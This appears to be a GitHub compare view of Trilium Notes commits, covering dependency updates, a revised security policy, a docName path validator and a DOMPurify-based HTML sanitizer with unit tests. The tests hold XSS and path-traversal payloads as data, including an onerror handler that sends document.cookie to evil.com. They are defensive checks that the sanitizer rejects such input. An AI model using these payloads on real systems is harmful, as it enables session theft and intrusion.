Compare commits

...

85 Commits

Author SHA1 Message Date
perfectra1n
4721a60214 Merge remote-tracking branch 'origin/main' into feat/fun-take1
# Conflicts:
#	apps/client/src/services/doc_renderer.ts
#	apps/desktop/electron-forge/forge.config.ts
#	apps/desktop/package.json
#	apps/server/src/routes/api/files.ts
#	apps/server/src/routes/api/image.ts
#	apps/server/src/services/open_id.ts
#	apps/server/src/share/routes.ts
#	pnpm-lock.yaml
2026-04-05 18:56:29 -07:00
perfectra1n
732d1280c0 Merge branch 'main' into feat/fun-take1
# Conflicts:
#	apps/client/package.json
#	pnpm-lock.yaml
2026-04-05 15:21:58 -07:00
Elian Doran
f97370c8f7 Dependency cleanup (#9293) 2026-04-05 23:04:03 +03:00
Elian Doran
afad96a375 Merge remote-tracking branch 'origin/main' into feature/dependency_cleanup 2026-04-05 22:56:13 +03:00
Elian Doran
9e5ababfcb chore(deps): update dependency electron to v41.1.1 (#9277) 2026-04-05 22:51:05 +03:00
Elian Doran
dc1e0e8db4 fix(desktop): tesseract.js not copied 2026-04-05 22:22:58 +03:00
Elian Doran
1e861d1125 chore(ocr): externalize tesseract.js completely 2026-04-05 22:20:38 +03:00
Elian Doran
baa93cb371 chore(ocr): expose needed dependencies 2026-04-05 22:14:01 +03:00
Elian Doran
61dcc8db47 Revert "fix(ocr): not working in server prod"
This reverts commit f4f881e839.
2026-04-05 21:53:53 +03:00
Elian Doran
2c557eb015 Revert "fix(desktop): failing in prod due to tesseract"
This reverts commit 9e34fcb8a8.
2026-04-05 21:36:11 +03:00
Elian Doran
f5a80526ab fix(deps): update dependency mermaid to v11.14.0 (#9282) 2026-04-05 21:35:45 +03:00
Elian Doran
27e1455874 fix(mermaid): treeview clipped when padding 2026-04-05 21:27:39 +03:00
Elian Doran
278d8428de feat(mermaid): integrate two new note types 2026-04-05 21:26:42 +03:00
Elian Doran
164e667158 chore: remove empty dependencies list in JSON 2026-04-05 21:05:11 +03:00
Elian Doran
28b31791e7 fix(codemirror): broken dependency on electron-window-state 2026-04-05 21:03:24 +03:00
Elian Doran
9515768e62 fix(server): broken dependency on electron-window-state 2026-04-05 21:02:03 +03:00
Elian Doran
fbbad19cb7 chore(deps): update dependency electron to v40.8.5 [security] (#9291) 2026-04-05 20:59:58 +03:00
Elian Doran
eab353ca2e chore(deps): remove unnecessary depedencies 2026-04-05 20:58:02 +03:00
Elian Doran
cb9ee20763 chore(deps): remove hard-coded dependency to @smithy/middleware-retry 2026-04-05 20:55:43 +03:00
Elian Doran
dac12532bc Merge branch 'main' into renovate/electron-41.x 2026-04-05 20:49:33 +03:00
Elian Doran
1d99734ea0 chore(ci): try to bypass operation not permitted in Electron build
7
node_modules/fs-xattr install: gyp http 200 https://nodejs.org/download/release/v24.14.1/node-v24.14.1-headers.tar.gz
node_modules/wxt/node_modules/esbuild postinstall$ node install.js
node_modules/wxt/node_modules/esbuild postinstall: Done
node_modules/macos-alias install: gyp http GET https://nodejs.org/download/release/v24.14.1/SHASUMS256.txt
node_modules/macos-alias install: gyp http 200 https://nodejs.org/download/release/v24.14.1/SHASUMS256.txt
node_modules/fs-xattr install: gyp http GET https://nodejs.org/download/release/v24.14.1/SHASUMS256.txt
node_modules/fs-xattr install: gyp http 200 https://nodejs.org/download/release/v24.14.1/SHASUMS256.txt
node_modules/electron postinstall: Done
.../remote/node_modules/electron postinstall: Done
 ERR_PNPM_EPERM  EPERM: operation not permitted, link '/Users/runner/work/Trilium/Trilium/node_modules/@electron/remote/node_modules/electron/dist/Electron.app/Contents/Frameworks/Electron Framework.framework/Helpers' -> 'apps/desktop/node_modules/_tmp_3196_65c494775712c8b30c73644d84dc191e/dist/Electron.app/Contents/Frameworks/Electron Framework.framework/Helpers'
2026-04-05 20:49:06 +03:00
Elian Doran
3e764c762a chore(desktop): remove unnecessary dependencies 2026-04-05 20:43:37 +03:00
Elian Doran
7be51168d3 Merge branch 'main' into renovate/electron-41.x 2026-04-05 20:38:36 +03:00
Elian Doran
530d193734 fix(forge): build no longer working due to audit 2026-04-05 20:37:33 +03:00
Elian Doran
aba5ff75af fix(server): sync version not increased after breaking changes 2026-04-05 20:22:49 +03:00
Elian Doran
9e34fcb8a8 fix(desktop): failing in prod due to tesseract 2026-04-05 20:15:08 +03:00
Elian Doran
055dd9cd01 chore(toast): fix button alignment if no title & make buttons full-width 2026-04-05 20:14:54 +03:00
Elian Doran
1437fdc4e3 feat(ocr): warn if text wasn't retrieved on manual to due low confidence 2026-04-05 20:14:38 +03:00
Elian Doran
e5c67b16ac fix(flake): failing due to symlinks to /build 2026-04-05 20:12:59 +03:00
Elian Doran
94987314b8 feat(ocr): warn about OCR confidence too low 2026-04-05 20:03:12 +03:00
Elian Doran
f4f881e839 fix(ocr): not working in server prod 2026-04-05 19:58:48 +03:00
renovate[bot]
92f5901b95 chore(deps): update dependency electron to v41.1.1 2026-04-05 16:44:14 +00:00
renovate[bot]
1c0cb601cb chore(deps): update dependency electron to v40.8.5 [security] 2026-04-05 16:43:32 +00:00
Elian Doran
109f06f8bb Merge branch 'release/v0.102.2'
; Conflicts:
;	apps/desktop/package.json
;	apps/server/src/routes/api/image.ts
;	apps/server/src/share/routes.ts
;	pnpm-lock.yaml
2026-04-05 19:41:24 +03:00
Elian Doran
bf23439792 chore(release): prepare for v0.102.2 2026-04-05 19:30:04 +03:00
Elian Doran
b7a0bc08be Various bugfixes (#9274) 2026-04-05 19:28:59 +03:00
Elian Doran
9d6a26dda9 docs(security): add more details & change reporting mechanism 2026-04-05 19:28:30 +03:00
Elian Doran
a01ce2c3fc docs(release): release notes for v0.102.2 2026-04-05 19:28:03 +03:00
Elian Doran
ba6298af27 Translations update from Hosted Weblate (#9289) 2026-04-05 17:11:26 +03:00
green
3d17e0aa75 Translated using Weblate (Japanese)
Currently translated at 100.0% (1837 of 1837 strings)

Translation: Trilium Notes/Client
Translate-URL: https://hosted.weblate.org/projects/trilium/client/ja/
2026-04-05 14:10:34 +00:00
Elian Doran
7e18166160 chore(deps): update dependency esbuild to v0.27.5 (#9278) 2026-04-05 17:10:26 +03:00
Elian Doran
40d8571797 Translations update from Hosted Weblate (#9288) 2026-04-05 17:09:36 +03:00
Elian Doran
25e04e358a Apply suggestions from code review
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
2026-04-05 17:08:56 +03:00
Aindriú Mac Giolla Eoin
e473e12c0e Translated using Weblate (Irish)
Currently translated at 100.0% (1837 of 1837 strings)

Translation: Trilium Notes/Client
Translate-URL: https://hosted.weblate.org/projects/trilium/client/ga/
2026-04-05 14:09:52 +02:00
Aindriú Mac Giolla Eoin
dfb20df16f Translated using Weblate (Irish)
Currently translated at 100.0% (391 of 391 strings)

Translation: Trilium Notes/Server
Translate-URL: https://hosted.weblate.org/projects/trilium/server/ga/
2026-04-05 14:09:49 +02:00
Elian Doran
efcbf439ee chore(deps): update dependency http-proxy-agent to v9 (#9283) 2026-04-05 13:54:41 +03:00
renovate[bot]
514f7fedbc chore(deps): update dependency http-proxy-agent to v9 2026-04-05 10:35:14 +00:00
Elian Doran
ee88fedacd chore(deps): update dependency https-proxy-agent to v9 (#9284) 2026-04-05 13:32:40 +03:00
renovate[bot]
2933f9c49f chore(deps): update dependency esbuild to v0.27.5 2026-04-05 10:26:58 +00:00
Elian Doran
1cca5d989c chore(deps): update dependency @playwright/test to v1.59.1 (#9276) 2026-04-05 13:25:47 +03:00
Elian Doran
9981020728 chore(deps): update dependency dotenv to v17.4.0 (#9280) 2026-04-05 13:25:17 +03:00
Elian Doran
56843dcf8b chore(deps): update dependency @ckeditor/ckeditor5-dev-build-tools to v55.3.1 (#9275) 2026-04-05 13:24:29 +03:00
Elian Doran
e661118192 fix(deps): update dependency @codemirror/view to v6.41.0 (#9281) 2026-04-05 13:23:16 +03:00
Elian Doran
54a7de6cb0 fix(deps): update dependency mathlive to v0.109.1 (#9279) 2026-04-05 13:22:48 +03:00
Elian Doran
13b1e0afbb fix(desktop): make failing due to wrong version of fuses 2026-04-05 12:46:39 +03:00
Elian Doran
4a48796142 chore(ci): trigger dev on release branches as well 2026-04-05 12:37:33 +03:00
Elian Doran
9a4fef80b9 chore(deps): fix pnpm lock 2026-04-05 12:15:07 +03:00
Elian Doran
79dc4b39f1 chore(client): address requested changes 2026-04-05 12:11:05 +03:00
Elian Doran
9bc18b774e test(server): add unit tests for sanitizeSvg 2026-04-05 12:11:05 +03:00
Elian Doran
465c36407c Update apps/server/src/etapi/notes.ts
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
2026-04-05 12:10:52 +03:00
Elian Doran
b99486259e Update apps/server/src/etapi/notes.ts
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
2026-04-05 12:10:44 +03:00
Elian Doran
ecf5475966 Update apps/desktop/package.json
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
2026-04-05 12:10:29 +03:00
Elian Doran
90822cc8a3 chore: address requested changes 2026-04-05 11:59:45 +03:00
Elian Doran
5c46209ddc feat(server): improve request handling for SVGs 2026-04-05 11:28:28 +03:00
Elian Doran
176de87b6b feat(desktop): add Electron fuses 2026-04-05 11:01:22 +03:00
Elian Doran
7f199c527b feat(share): improve request handling for SVGs 2026-04-05 10:52:36 +03:00
Elian Doran
2432e230c5 chore(etapi): enforce MIME for image upload 2026-04-05 10:44:47 +03:00
Elian Doran
fc1be0d23d fix(ckeditor5-mermaid): use textContent for diagram source rendering 2026-04-05 10:17:16 +03:00
renovate[bot]
d084b9e941 chore(deps): update dependency https-proxy-agent to v9 2026-04-05 01:33:43 +00:00
renovate[bot]
6678c0af49 fix(deps): update dependency mermaid to v11.14.0 2026-04-05 01:32:26 +00:00
renovate[bot]
37754ecf31 fix(deps): update dependency @codemirror/view to v6.41.0 2026-04-05 01:31:45 +00:00
renovate[bot]
709d9633a1 chore(deps): update dependency dotenv to v17.4.0 2026-04-05 01:31:06 +00:00
renovate[bot]
7ca57efaad fix(deps): update dependency mathlive to v0.109.1 2026-04-05 01:30:27 +00:00
renovate[bot]
342fedca1c chore(deps): update dependency @playwright/test to v1.59.1 2026-04-05 01:28:20 +00:00
renovate[bot]
b1262b0448 chore(deps): update dependency @ckeditor/ckeditor5-dev-build-tools to v55.3.1 2026-04-05 01:27:37 +00:00
Elian Doran
626aca5181 fix(client): toasts could render HTML content 2026-04-04 22:21:25 +03:00
Elian Doran
8204322b46 fix(openid): use more secure RNG 2026-04-04 22:02:33 +03:00
Elian Doran
70ce86cd53 fix(scripts): electron rebuild failing in flake 2026-04-04 22:01:43 +03:00
Elian Doran
ed3b86cd49 fix(import): no longer preserve named note IDs 2026-04-04 21:27:37 +03:00
Elian Doran
b371675494 chore(commons): mark docName as a dangerous attribute 2026-04-04 21:25:05 +03:00
Elian Doran
ff06c8e7bd fix(client): validate docName attribute in doc renderer 2026-04-04 21:21:50 +03:00
Elian Doran
8ff41d8fa9 fix(server): align attachment upload validation with note upload 2026-04-04 20:46:03 +03:00
perfectra1n
8ce969c5ad feat(dev): merge main into feature branch 2026-03-22 18:05:39 -07:00
perfectra1n
43963b7b71 feat(security): require scripting to be enabled for sharing? 2026-02-25 12:01:30 -08:00
perfectra1n
f94f91656a feat(security): implement a ton of security guardrails, as well as completely disabling scripting if wanted 2026-02-19 15:59:22 -08:00
98 changed files with 3783 additions and 1122 deletions

View File

@@ -1,9 +1,13 @@
name: Dev
on:
push:
branches: [ main ]
branches:
- main
- "release/*"
pull_request:
branches: [ main ]
branches:
- main
- "release/*"
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}

View File

@@ -69,6 +69,8 @@ jobs:
cache: 'pnpm'
- name: Install dependencies
run: pnpm install --frozen-lockfile
env:
npm_config_package_import_method: copy
- name: Update nightly version
run: pnpm run chore:ci-update-nightly-version
- name: Run the build

View File

@@ -2,13 +2,87 @@
## Supported Versions
In the (still active) 0.X phase of the project only the latest stable minor release is getting bugfixes (including security ones).
Only the latest stable minor release receives security fixes.
So e.g. if the latest stable version is 0.42.3 and the latest beta version is 0.43.0-beta, then 0.42 line will still get security fixes but older versions (like 0.41.X) won't get any fixes.
For example, if the latest stable version is 0.92.3 and the latest beta is 0.93.0-beta, then only the 0.92.x line will receive security patches. Older versions (like 0.91.x) will not receive fixes.
Description above is a general rule and may be altered on case by case basis.
This policy may be altered on a case-by-case basis for critical vulnerabilities.
## Reporting a Vulnerability
* For low severity vulnerabilities, they can be reported as GitHub issues.
* For severe vulnerabilities, please report it using [GitHub Security Advisories](https://github.com/TriliumNext/Trilium/security/advisories).
**Please report all security vulnerabilities through [GitHub Security Advisories](https://github.com/TriliumNext/Notes/security/advisories/new).**
We do not accept security reports via email, public issues, or other channels. GitHub Security Advisories allows us to:
- Discuss and triage vulnerabilities privately
- Coordinate fixes before public disclosure
- Credit reporters appropriately
- Publish advisories with CVE identifiers
### What to Include
When reporting, please provide:
- A clear description of the vulnerability
- Steps to reproduce or proof-of-concept
- Affected versions (if known)
- Potential impact assessment
- Any suggested mitigations or fixes
### Response Timeline
- **Initial response**: Within 7 days
- **Triage decision**: Within 14 days
- **Fix timeline**: Depends on severity and complexity
## Scope
### In Scope
- Remote code execution
- Authentication/authorization bypass
- Cross-site scripting (XSS) that affects other users
- SQL injection
- Path traversal
- Sensitive data exposure
- Privilege escalation
### Out of Scope (Won't Fix)
The following are considered out of scope or accepted risks:
#### Self-XSS / Self-Injection
Trilium is a personal knowledge base where users have full control over their own data. Users can intentionally create notes containing scripts, HTML, or other executable content. This is by design - Trilium's scripting system allows users to extend functionality with custom JavaScript.
Vulnerabilities that require a user to inject malicious content into their own notes and then view it themselves are not considered security issues.
#### Electron Architecture (nodeIntegration)
Trilium's desktop application runs with `nodeIntegration: true` to enable its powerful scripting features. This is an intentional design decision, similar to VS Code extensions having full system access. We mitigate risks by:
- Sanitizing content at input boundaries
- Fixing specific XSS vectors as they're discovered
- Using Electron fuses to prevent external abuse
#### Authenticated User Actions
Actions that require valid authentication and only affect the authenticated user's own data are generally not vulnerabilities.
#### Denial of Service via Resource Exhaustion
Creating extremely large notes or performing many operations is expected user behavior in a note-taking application.
#### Missing Security Headers on Non-Sensitive Endpoints
We implement security headers where they provide meaningful protection, but may omit them on endpoints where they provide no practical benefit.
## Coordinated Disclosure
We follow a coordinated disclosure process:
1. **Report received** - We acknowledge receipt and begin triage
2. **Fix developed** - We develop and test a fix privately
3. **Release prepared** - Security release is prepared with vague changelog
4. **Users notified** - Release is published, users encouraged to upgrade
5. **Advisory published** - After reasonable upgrade window (typically 2-4 weeks), full advisory is published
We appreciate reporters allowing us time to fix issues before public disclosure. We aim to credit all reporters in published advisories unless they prefer to remain anonymous.
## Security Updates
Security fixes are released as patch versions (e.g., 0.92.1 → 0.92.2) to minimize upgrade friction. We recommend all users keep their installations up to date.
Subscribe to GitHub releases or watch the repository to receive notifications of new releases.

View File

@@ -20,8 +20,6 @@
"archiver": "7.0.1",
"fs-extra": "11.3.4",
"js-yaml": "4.1.1",
"react": "19.2.4",
"react-dom": "19.2.4",
"typedoc": "0.28.18",
"typedoc-plugin-missing-exports": "4.1.2"
}

View File

@@ -1,6 +1,6 @@
{
"name": "@triliumnext/client",
"version": "0.102.1",
"version": "0.102.2",
"description": "JQuery-based client for TriliumNext, used for both web and desktop (via Electron)",
"private": true,
"license": "AGPL-3.0-only",
@@ -27,7 +27,6 @@
"@maplibre/maplibre-gl-leaflet": "0.1.3",
"@mermaid-js/layout-elk": "0.2.1",
"@mind-elixir/node-menu": "5.0.1",
"@popperjs/core": "2.11.8",
"@preact/signals": "2.9.0",
"@triliumnext/ckeditor5": "workspace:*",
"@triliumnext/codemirror": "workspace:*",
@@ -53,7 +52,6 @@
"dompurify": "3.3.3",
"draggabilly": "3.0.0",
"force-graph": "1.51.2",
"globals": "17.4.0",
"i18next": "26.0.3",
"i18next-http-backend": "3.0.4",
"jquery": "4.0.0",
@@ -64,9 +62,8 @@
"leaflet-gpx": "2.2.0",
"mark.js": "8.11.1",
"marked": "17.0.5",
"mermaid": "11.13.0",
"mermaid": "11.14.0",
"mind-elixir": "5.10.0",
"normalize.css": "8.0.1",
"panzoom": "9.4.4",
"preact": "10.29.0",
"react-i18next": "17.0.2",

View File

@@ -5,6 +5,7 @@ import froca from "./froca.js";
import link from "./link.js";
import { renderMathInElement } from "./math.js";
import { getMermaidConfig } from "./mermaid.js";
import { sanitizeNoteContentHtml } from "./sanitize_content.js";
import { formatCodeBlocks } from "./syntax_highlight.js";
import tree from "./tree.js";
import { isHtmlEmpty } from "./utils.js";
@@ -14,7 +15,7 @@ export default async function renderText(note: FNote | FAttachment, $renderedCon
const blob = await note.getBlob();
if (blob && !isHtmlEmpty(blob.content)) {
$renderedContent.append($('<div class="ck-content">').html(blob.content));
$renderedContent.append($('<div class="ck-content">').html(sanitizeNoteContentHtml(blob.content)));
const seenNoteIds = options.seenNoteIds ?? new Set<string>();
seenNoteIds.add("noteId" in note ? note.noteId : note.attachmentId);

View File

@@ -0,0 +1,30 @@
import { describe, expect, it } from "vitest";
import { isValidDocName } from "./doc_renderer.js";
describe("isValidDocName", () => {
it("accepts valid docNames", () => {
expect(isValidDocName("launchbar_intro")).toBe(true);
expect(isValidDocName("User Guide/Quick Start")).toBe(true);
expect(isValidDocName("User Guide/User Guide/Quick Start")).toBe(true);
expect(isValidDocName("Quick Start Guide")).toBe(true);
expect(isValidDocName("quick_start_guide")).toBe(true);
expect(isValidDocName("quick-start-guide")).toBe(true);
});
it("rejects path traversal attacks", () => {
expect(isValidDocName("..")).toBe(false);
expect(isValidDocName("../etc/passwd")).toBe(false);
expect(isValidDocName("foo/../bar")).toBe(false);
expect(isValidDocName("../../../../api/notes/_malicious/open")).toBe(false);
expect(isValidDocName("..\\etc\\passwd")).toBe(false);
expect(isValidDocName("foo\\bar")).toBe(false);
});
it("rejects URL manipulation attacks", () => {
expect(isValidDocName("../../../../api/notes/_malicious/open?x=")).toBe(false);
expect(isValidDocName("foo#bar")).toBe(false);
expect(isValidDocName("%2e%2e")).toBe(false);
expect(isValidDocName("%2e%2e%2f%2e%2e%2fapi")).toBe(false);
});
});

View File

@@ -3,22 +3,39 @@ import { applyReferenceLinks } from "../widgets/type_widgets/text/read_only_help
import { getCurrentLanguage } from "./i18n.js";
import { formatCodeBlocks } from "./syntax_highlight.js";
/**
* Validates a docName to prevent path traversal attacks.
* Allows forward slashes for subdirectories (e.g., "User Guide/Quick Start")
* but blocks traversal sequences and URL manipulation characters.
*/
export function isValidDocName(docName: string): boolean {
// Allow alphanumeric characters, spaces, underscores, hyphens, and forward slashes.
const validDocNameRegex = /^[a-zA-Z0-9_/\- ]+$/;
return validDocNameRegex.test(docName);
}
export default function renderDoc(note: FNote) {
return new Promise<JQuery<HTMLElement>>((resolve) => {
let docName = note.getLabelValue("docName");
const docName = note.getLabelValue("docName");
const $content = $("<div>");
if (docName) {
// find doc based on language
const url = getUrl(docName, getCurrentLanguage());
// find doc based on language
const url = getUrl(docName, getCurrentLanguage());
if (url) {
$content.load(url, async (response, status) => {
// fallback to english doc if no translation available
if (status === "error") {
const fallbackUrl = getUrl(docName, "en");
$content.load(fallbackUrl, async () => {
await processContent(fallbackUrl, $content)
if (fallbackUrl) {
$content.load(fallbackUrl, async () => {
await processContent(fallbackUrl, $content);
resolve($content);
});
} else {
resolve($content);
});
}
return;
}
@@ -28,8 +45,6 @@ export default function renderDoc(note: FNote) {
} else {
resolve($content);
}
return $content;
});
}
@@ -39,7 +54,7 @@ async function processContent(url: string, $content: JQuery<HTMLElement>) {
// Images are relative to the docnote but that will not work when rendered in the application since the path breaks.
$content.find("img").each((i, el) => {
const $img = $(el);
$img.attr("src", dir + "/" + $img.attr("src"));
$img.attr("src", `${dir}/${$img.attr("src")}`);
});
formatCodeBlocks($content);
@@ -48,10 +63,17 @@ async function processContent(url: string, $content: JQuery<HTMLElement>) {
await applyReferenceLinks($content[0]);
}
function getUrl(docNameValue: string, language: string) {
function getUrl(docNameValue: string | null, language: string) {
if (!docNameValue) return;
if (!isValidDocName(docNameValue)) {
console.error(`Invalid docName: ${docNameValue}`);
return null;
}
// Cannot have spaces in the URL due to how JQuery.load works.
docNameValue = docNameValue.replaceAll(" ", "%20");
const basePath = window.glob.isDev ? window.glob.assetPath + "/.." : window.glob.assetPath;
const basePath = window.glob.isDev ? `${window.glob.assetPath }/..` : window.glob.assetPath;
return `${basePath}/doc_notes/${language}/${docNameValue}.html`;
}

View File

@@ -5,6 +5,7 @@ import contentRenderer from "./content_renderer.js";
import froca from "./froca.js";
import { t } from "./i18n.js";
import linkService from "./link.js";
import { sanitizeNoteContentHtml } from "./sanitize_content.js";
import treeService from "./tree.js";
import utils from "./utils.js";
@@ -92,8 +93,9 @@ async function mouseEnterHandler<T>(this: HTMLElement, e: JQuery.TriggeredEvent<
return;
}
const html = `<div class="note-tooltip-content">${content}</div>`;
const tooltipClass = `tooltip-${ Math.floor(Math.random() * 999_999_999)}`;
const sanitizedContent = sanitizeNoteContentHtml(content);
const html = `<div class="note-tooltip-content">${sanitizedContent}</div>`;
const tooltipClass = `tooltip-${Math.floor(Math.random() * 999_999_999)}`;
// we need to check if we're still hovering over the element
// since the operation to get tooltip content was async, it is possible that
@@ -110,6 +112,8 @@ async function mouseEnterHandler<T>(this: HTMLElement, e: JQuery.TriggeredEvent<
title: html,
html: true,
template: `<div class="tooltip note-tooltip ${tooltipClass}" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>`,
// Content is pre-sanitized via DOMPurify so Bootstrap's built-in sanitizer
// (which is too aggressive for our rich-text content) can be disabled.
sanitize: false,
customClass: linkId
});

View File

@@ -0,0 +1,236 @@
import { describe, expect, it } from "vitest";
import { sanitizeNoteContentHtml } from "./sanitize_content";
describe("sanitizeNoteContentHtml", () => {
// --- Preserves legitimate CKEditor content ---
it("preserves basic rich text formatting", () => {
const html = '<p><strong>Bold</strong> and <em>italic</em> text</p>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves headings", () => {
const html = '<h1>Title</h1><h2>Subtitle</h2><h3>Section</h3>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves links with href", () => {
const html = '<a href="https://example.com">Link</a>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves internal note links with data attributes", () => {
const html = '<a class="reference-link" href="#root/abc123" data-note-path="root/abc123">My Note</a>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('class="reference-link"');
expect(result).toContain('href="#root/abc123"');
expect(result).toContain('data-note-path="root/abc123"');
expect(result).toContain(">My Note</a>");
});
it("preserves images with src", () => {
const html = '<img src="api/images/abc123/image.png" alt="test">';
expect(sanitizeNoteContentHtml(html)).toContain('src="api/images/abc123/image.png"');
});
it("preserves tables", () => {
const html = '<table><thead><tr><th>Header</th></tr></thead><tbody><tr><td>Cell</td></tr></tbody></table>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves code blocks", () => {
const html = '<pre><code class="language-javascript">const x = 1;</code></pre>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves include-note sections with data-note-id", () => {
const html = '<section class="include-note" data-note-id="abc123">&nbsp;</section>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('class="include-note"');
expect(result).toContain('data-note-id="abc123"');
expect(result).toContain("&nbsp;</section>");
});
it("preserves figure and figcaption", () => {
const html = '<figure><img src="test.png"><figcaption>Caption</figcaption></figure>';
expect(sanitizeNoteContentHtml(html)).toContain("<figure>");
expect(sanitizeNoteContentHtml(html)).toContain("<figcaption>");
});
it("preserves task list checkboxes", () => {
const html = '<ul><li><input type="checkbox" checked disabled>Task done</li></ul>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('type="checkbox"');
expect(result).toContain("checked");
});
it("preserves inline styles for colors", () => {
const html = '<span style="color: red;">Red text</span>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain("style");
expect(result).toContain("color");
});
it("preserves data-* attributes", () => {
const html = '<div data-custom-attr="value" data-note-id="abc">Content</div>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('data-custom-attr="value"');
expect(result).toContain('data-note-id="abc"');
});
// --- Blocks XSS vectors ---
it("strips script tags", () => {
const html = '<p>Hello</p><script>alert("XSS")</script><p>World</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("alert");
expect(result).toContain("<p>Hello</p>");
expect(result).toContain("<p>World</p>");
});
it("strips onerror event handlers on images", () => {
const html = '<img src="x" onerror="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onerror");
expect(result).not.toContain("alert");
});
it("strips onclick event handlers", () => {
const html = '<div onclick="alert(1)">Click me</div>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onclick");
expect(result).not.toContain("alert");
});
it("strips onload event handlers", () => {
const html = '<img src="x" onload="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onload");
expect(result).not.toContain("alert");
});
it("strips onmouseover event handlers", () => {
const html = '<span onmouseover="alert(1)">Hover</span>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onmouseover");
expect(result).not.toContain("alert");
});
it("strips onfocus event handlers", () => {
const html = '<input onfocus="alert(1)" autofocus>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onfocus");
expect(result).not.toContain("alert");
});
it("strips javascript: URIs in href", () => {
const html = '<a href="javascript:alert(1)">Click</a>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("javascript:");
});
it("strips javascript: URIs in img src", () => {
const html = '<img src="javascript:alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("javascript:");
});
it("strips iframe tags", () => {
const html = '<iframe src="https://evil.com"></iframe>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<iframe");
});
it("strips object tags", () => {
const html = '<object data="evil.swf"></object>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<object");
});
it("strips embed tags", () => {
const html = '<embed src="evil.swf">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<embed");
});
it("strips style tags", () => {
const html = '<style>body { background: url("javascript:alert(1)") }</style><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<style");
expect(result).toContain("<p>Text</p>");
});
it("strips SVG with embedded script", () => {
const html = '<svg><script>alert(1)</script></svg>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("alert");
});
it("strips meta tags", () => {
const html = '<meta http-equiv="refresh" content="0;url=evil.com"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<meta");
});
it("strips base tags", () => {
const html = '<base href="https://evil.com/"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<base");
});
it("strips link tags", () => {
const html = '<link rel="stylesheet" href="evil.css"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<link");
});
// --- Edge cases ---
it("handles empty string", () => {
expect(sanitizeNoteContentHtml("")).toBe("");
});
it("handles null-like falsy values", () => {
expect(sanitizeNoteContentHtml(null as unknown as string)).toBe(null);
expect(sanitizeNoteContentHtml(undefined as unknown as string)).toBe(undefined);
});
it("handles nested XSS attempts", () => {
const html = '<div><p>Safe</p><img src=x onerror="fetch(\'https://evil.com/?c=\'+document.cookie)"><p>Also safe</p></div>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onerror");
expect(result).not.toContain("fetch");
expect(result).not.toContain("cookie");
expect(result).toContain("Safe");
expect(result).toContain("Also safe");
});
it("handles case-varied event handlers", () => {
const html = '<img src="x" ONERROR="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result.toLowerCase()).not.toContain("onerror");
});
it("strips dangerous data: URI on anchor elements", () => {
const html = '<a href="data:text/html,<script>alert(1)</script>">Click</a>';
const result = sanitizeNoteContentHtml(html);
// DOMPurify should either strip the href or remove the dangerous content
expect(result).not.toContain("<script");
expect(result).not.toContain("alert(1)");
});
it("allows data: URI on image elements", () => {
const html = '<img src="data:image/png;base64,iVBOR...">';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain("data:image/png");
});
it("strips template tags which could contain scripts", () => {
const html = '<template><script>alert(1)</script></template>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("<template");
});
});

View File

@@ -0,0 +1,161 @@
/**
* Client-side HTML sanitization for note content rendering.
*
* This module provides sanitization of HTML content before it is injected into
* the DOM, preventing stored XSS attacks. Content written through non-CKEditor
* paths (Internal API, ETAPI, Sync) may contain malicious scripts, event
* handlers, or other XSS vectors that must be stripped before rendering.
*
* Uses DOMPurify, a well-audited XSS sanitizer that is already a transitive
* dependency of this project (via mermaid).
*
* The configuration is intentionally permissive for rich-text formatting
* (bold, italic, headings, tables, images, links, etc.) while blocking
* script execution vectors (script tags, event handlers, javascript: URIs,
* data: URIs on non-image elements, etc.).
*/
import DOMPurify from "dompurify";
/**
* Tags allowed in sanitized note content. This mirrors the server-side
* SANITIZER_DEFAULT_ALLOWED_TAGS from @triliumnext/commons plus additional
* tags needed for CKEditor content rendering (e.g. <section> for included
* notes, <figure>/<figcaption> for images and tables).
*
* Notably absent: <script>, <style>, <iframe>, <object>, <embed>, <form>,
* <input> (except checkbox via specific attribute allowance), <link>, <meta>.
*/
const ALLOWED_TAGS = [
// Headings
"h1", "h2", "h3", "h4", "h5", "h6",
// Block elements
"blockquote", "p", "div", "pre", "section", "article", "aside",
"header", "footer", "hgroup", "main", "nav", "address", "details", "summary",
// Lists
"ul", "ol", "li", "dl", "dt", "dd", "menu",
